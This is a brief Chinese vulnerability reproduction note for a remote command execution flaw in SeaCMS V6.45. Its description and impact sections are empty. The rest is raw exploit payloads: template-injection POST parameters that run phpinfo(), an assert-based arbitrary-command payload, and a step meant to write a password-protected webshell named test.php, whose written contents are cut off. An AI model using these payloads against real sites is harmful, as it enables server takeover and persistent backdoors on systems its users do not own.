Seacms_V6.45_远程命令执行漏洞

# Seacms V6.45 远程命令执行漏洞

==========================

一、漏洞简介
————

二、漏洞影响
————

三、复现过程
————

POST

searchtype=5&order=}{end if} {if:1)phpinfo();if(1}{end if}
searchtype=5&searchword=d&order=}{end if}{if:1)print_r($_POST[func]($_POST[cmd]));//}{end if}&func=assert&cmd=phpinfo();

一句话payload，文件test.php 密码pass:

path:

http://0-sec.org/search.php
}{end if}{if:1)print_r($_POST[func]($_POST[cmd]));//}{end if}&func=assert&cmd=fwrite(fopen(“test.php”,”w”),’‘